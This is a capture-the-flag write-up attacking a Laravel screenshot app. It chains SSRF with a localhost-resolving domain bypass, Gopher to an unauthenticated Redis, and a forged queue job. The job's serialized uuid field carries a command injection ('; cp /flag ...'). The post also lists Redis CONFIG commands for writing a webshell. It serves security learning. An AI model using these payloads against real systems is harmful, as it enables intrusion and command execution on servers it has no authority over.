- Published on
The syntax was destroying my sanity, so I made a tool
- Authors

- Name
- mfkrypt
Table of Contents
Footprinting
At face value, we are greeted with a Laravel application, with the ability to take screenshots and look at the html source
Source Code Review
When auditing Laravel source code, I often use this website that has a checklist:
https://stackshield.io/checklists/laravel-security-audit
Routes
Starting with routes/, we observe api.php
<?php
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Route;
use App\Http\Controllers\SiteShotController;
Route::post('/getss', [SiteShotController::class, 'getSS']);
Route::post('/get-html', [SiteShotController::class, 'getHtml']);
So now, there are two api requests that are made:
/api/getss
/api/get-html
It also imports a class called SiteShotController. Let us trace the source there
Controllers
Now in SiteShotController.php there are 3 parts:
getHtml()function definitiongetSS()function definition- Filters and restrictions
Since No.1 & 2 are self explanatory and they both enforced the filters, we will only look at no.3
<?php
namespace App\Http\Controllers;
use App\Services\SiteShotService;
use Illuminate\Http\Request;
class SiteShotController extends Controller
{
...
...
...
private function isValidIPv4($ip) {
return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false;
}
private function isValidDomain($domain) {
$pattern = '/^(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9][a-z0-9-]{0,61}[a-z0-9])$/i';
if (!preg_match($pattern, $domain)) {
return false;
}
if (!checkdnsrr($domain, 'A') && !checkdnsrr($domain, 'AAAA')) {
return false;
}
return true;
}
private function isLocalIP($ip) {
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)) {
return true;
}
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_RES_RANGE)) {
return true;
}
return false;
}
}
Basically:
isValidIPv4blocks IPv4 addressesisValidDomainallows domains that resolve via DNSisLocalIPblocks private & reserved IPs
So the way to get around this is by using publicly available DNS that resolves to localhost such as 127.0.0.1.nip.io and localtest.me. . Let us inspect further by checking the SiteShotService
Services
Snippet of SiteShotService.php for the Screenshot feature:
public function getScreenShotResp($url)
{
$ssurl = "https://api.screenshotmachine.com/?key=6b76b2&dimension=1024x768&url=".$url;
View Source feature:
public function getHtmlResp($url)
{
// Create a new cURL resource
$ch = curl_init();
// Set cURL options
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Execute cURL request
$response = curl_exec($ch);
// Check for errors
if (curl_errno($ch)) {
$error = curl_error($ch);
curl_close($ch);
return response()->json([
'status' => 'failed',
]);
}
As you can see, the viable option for an SSRF vector would be the View Source feature since it directly makes a curl request whereas the Screenshot feature is passing the user input to a 3'rd party API.
SSRF >> Redis
With Redis backend, a few things you need to check:
- Check if Redis is unauthenticated
# Check if `requirepass` is set
# "NOAUTH" → password required
INFO
- Check if we have write privileges
SET test "Hello"
SAVE
- Check privileged commands
## Check if CONFIG works (Write webshell)
CONFIG GET dir
CONFIG GET dbfilename
## If it works
CONFIG SET dir /tmp
CONFIG SET dbfilename test.txt
- Check Keys
KEYS *
TYPE <key>
LRANGE <key> 0 -1
Now, these are Redis commands. Since, we are using an SSRF primitive, we are able to use the Gopher protocol to to be able to communicate with the Redis backend.
We need to be able to URL encode and CRLF terminate our payload to be able to send valid Redis commands. You can imagine this would be pretty hectic especially taking in the fact that some large messages that include bulk strings would require the RESP protocol formatting. That's where I and Claude made a tool to solve this issue
Enter GopherWrap
https://github.com/mfkrypt/gopherwrap
GopherWrap solves exactly that. It is a tool I made using Golang with a nice TUI supporting RESP parsing formats.
WARNING
We need to end every payload with a QUIT command
Laravel Queues
Enumerating the standard Redis commands, we identify a key called laravel_database_queues:default, checking the lists:
LRANGE laravel_database_queues:default 0 -1
QUIT
Using an online JSON formatter, we have a better look at the structure of the JSON envelope:
{
"uuid": "bf989753-f2e7-458b-9e1a-0c5994941238",
"displayName": "App\\Jobs\\rmFile",
"job": "Illuminate\\Queue\\CallQueuedHandler@call",
"maxTries": null,
"maxExceptions": null,
"failOnTimeout": false,
"backoff": null,
"timeout": null,
"retryUntil": null,
"data": {
"commandName": "App\\Jobs\\rmFile",
"command": "O:15:\"App\\Jobs\\rmFile\":1:{s:9:\"fileQueue\";O:21:\"App\\Message\\FileQueue\":3:{s:8:\"filePath\";s:45:\"/src/e68b3f96-3cb9-45a4-a16b-b32dec5f569e.txt\";s:4:\"uuid\";s:36:\"e68b3f96-3cb9-45a4-a16b-b32dec5f569e\";s:3:\"ext\";s:3:\"txt\";}}"
},
"id": "NjGhBlOH2QTtWdtaPXXTnnBPU41zck9D",
"attempts": 0
}
Researching about Laravel Queues led me to this website which was a great read:
https://wendelladriel.com/blog/laravel-queues-under-the-hood
Based on the JSON envelope, we can observe that the queue has a running Job called rmFile
Jobs
<?php
namespace App\Jobs;
use Illuminate\Bus\Queueable;
use Illuminate\Contracts\Queue\ShouldBeUnique;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Foundation\Bus\Dispatchable;
use Illuminate\Queue\InteractsWithQueue;
use Illuminate\Queue\SerializesModels;
use App\Message\FileQueue;
class rmFile implements ShouldQueue
{
use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
public $fileQueue;
/**
* Create a new job instance.
*/
public function __construct(FileQueue $fileQueue)
{
$this->fileQueue = $fileQueue;
}
/**
* Execute the job.
*/
public function handle(): void
{
$this->fileQueue->deleteFile();
}
}
SerializesModels is a trait that serializes Eloquent models passed to queued jobs by storing only their IDs. But the problem with the job queue above is that it uses a custom class called FileQueue, so we will also trace that
Messages
<?php
namespace App\Message;
class FileQueue
{
public $filePath;
public function __construct(string $uuid, string $type)
{
$this->uuid = $uuid;
$this->ext = $type;
if (!file_exists("/www/public/src")) {
mkdir("/www/public/src", 0755);
}
if (!file_exists("/www/public/ss")) {
mkdir("/www/public/ss", 0755);
}
}
public function buildFilePath(): string
{
$filename = $this->uuid.".".$this->ext;
if ($this->ext === "txt")
{
$this->filePath = join(DIRECTORY_SEPARATOR, ["/www/public/src", $filename]);
}
if ($this->ext === "png")
{
$this->filePath = join(DIRECTORY_SEPARATOR, ["/www/public/ss", $filename]);
}
return $this->filePath;
}
public function buildFilePathWeb(): string
{
$filename = $this->uuid.".".$this->ext;
if ($this->ext === "txt")
{
$this->filePath = join(DIRECTORY_SEPARATOR, ["/src", $filename]);
}
if ($this->ext === "png")
{
$this->filePath = join(DIRECTORY_SEPARATOR, ["/ss", $filename]);
}
return $this->filePath;
}
public function deleteFile()
{
$filepath = $this->buildFilePath();
system("echo '".$this->uuid."'>>halo");
system("rm ".$filepath);
}
}
In deleteFile(), there exists a system() sink that deletes the file after the generated UUID and .txt extension is concatenated together. The job then gets queued and serialized. We can observe an example of serialized data in the data.command field in the JSON envelope
"data": {
"commandName": "App\\Jobs\\rmFile",
"command": "O:15:\"App\\Jobs\\rmFile\":1:{s:9:\"fileQueue\";O:21:\"App\\Message\\FileQueue\":3:{s:8:\"filePath\";s:45:\"/src/e68b3f96-3cb9-45a4-a16b-b32dec5f569e.txt\";s:4:\"uuid\";s:36:\"e68b3f96-3cb9-45a4-a16b-b32dec5f569e\";s:3:\"ext\";s:3:\"txt\";}}"
}
Exploitation Plan
Command Injection via Insecure Deserialization
So, the plan is to PUSH the same JSON envelope so it becomes a malicious queue by slipping in a command injection in between the UUID to copy the flag to the public directory since we know the webroot
; cp /flag /www/public/flag.txt #
The JSON envelope we will push:
{
"uuid":"bf989753-f2e7-458b-9e1a-0c5994941238",
"displayName":"App\\Jobs\\rmFile",
"job":"Illuminate\\Queue\\CallQueuedHandler@call",
"maxTries":null,
"maxExceptions":null,
"failOnTimeout":false,
"backoff":null,
"timeout":null,
"retryUntil":null,
"data":{
"commandName":"App\\Jobs\\rmFile",
"command":"O:15:\"App\\Jobs\\rmFile\":1:{s:9:\"fileQueue\";O:21:\"App\\Message\\FileQueue\":3:{s:8:\"filePath\";s:45:\"\/src\/e68b3f96-3cb9-45a4-a16b-b32dec5f569e.txt\";s:4:\"uuid\";s:69:\"e68b3f96-3cb9-45a4-a16b-b32dec5f569e; cp /flag /www/public/flag.txt #\";s:3:\"ext\";s:3:\"txt\";}}"
},
"id":"NjGhBlOH2QTtWdtaPXXTnnBPU41zck9D",
"attempts":0
}
Turn the JSON into a one liner:
https://jsonformatter.org/json-to-one-line
Redis has the command RPUSH to append a value to the current queue lists, meaning we will push the job to the queue with this command. If everything goes well, our payload will be serialized and executed.
RPUSH laravel_database_queues:default '<JSON-ENVELOPE-ONE-LINER>'
QUIT
WARNING
Use the GopherWrap tool with the RESP formatting
We should get this OK response after pushing tho the job queue
We wait for like 4-5 minutes then check the /flag.txt. It should be appearing if done correctly